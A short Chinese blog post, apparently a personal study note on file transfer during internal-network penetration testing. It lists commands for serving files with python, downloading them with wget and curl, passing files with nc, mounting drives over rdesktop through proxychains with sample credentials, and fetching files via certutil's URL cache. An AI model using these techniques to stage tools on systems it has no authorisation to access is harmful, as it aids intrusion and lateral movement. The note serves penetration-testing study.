内网渗透学习(文件传输篇)

wget & curl

在vps或有python环境的主机启动 HTTP 文件服务器

1
python3 -m http.server 8000

wget下载文件

1
2
3
4
5
6
7
8
9
10
11
# 标准下载（保存为相同文件名）
wget http://IP:8000/filename

# 断点续传
wget -c http://IP:8000/filename

# 指定保存目录
wget -P /path/to/save http://IP:8000/filename

# 限速
wget --limit-rate=200k http://IP:8000/largefile

curl下载文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 保存为相同文件名
curl -O http://IP:8000/filename

# 指定保存名
curl -o myfile http://IP:8000/filename

# 跟随重定向并保存
curl -L -O http://IP:8000/filename

# 断点续传
curl -C - -O http://IP:8000/filename

# 限速
curl --limit-rate 200k -O http://IP:8000/filename

nc

适合在内网主机间传递文件

发送端

1
nc -lvvp port < 文件

接收端

1
nc ip port > 文件

远程桌面

windows mstsc 可以在 本地资源->本地设备和资源 中选择驱动器

linux 下可以用 rdesktop 的挂载参数

1
2
proxychains4 rdesktop 172.22.4.45 -r disk:share=/root/aa
proxychains4 rdesktop 172.22.4.45 -u dr0n1 -p Qwer1234 -r disk:share=/root/aa

Windows-certutil

certutil 是 Windows 内置的一个证书服务的一部分，可以利用其中的缓存机制来下载文件(默认缓存路径 %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content )，所以下载文件后会留有缓存

1
certutil.exe -urlcache -split -f 目标文件 保存地址
总结
#总结 #内网渗透 #域
内网渗透学习(文件传输篇)
https://www.dr0n.top/posts/db373d34/
作者
dr0n
发布于
2024年10月9日
更新于
2026年8月3日
许可协议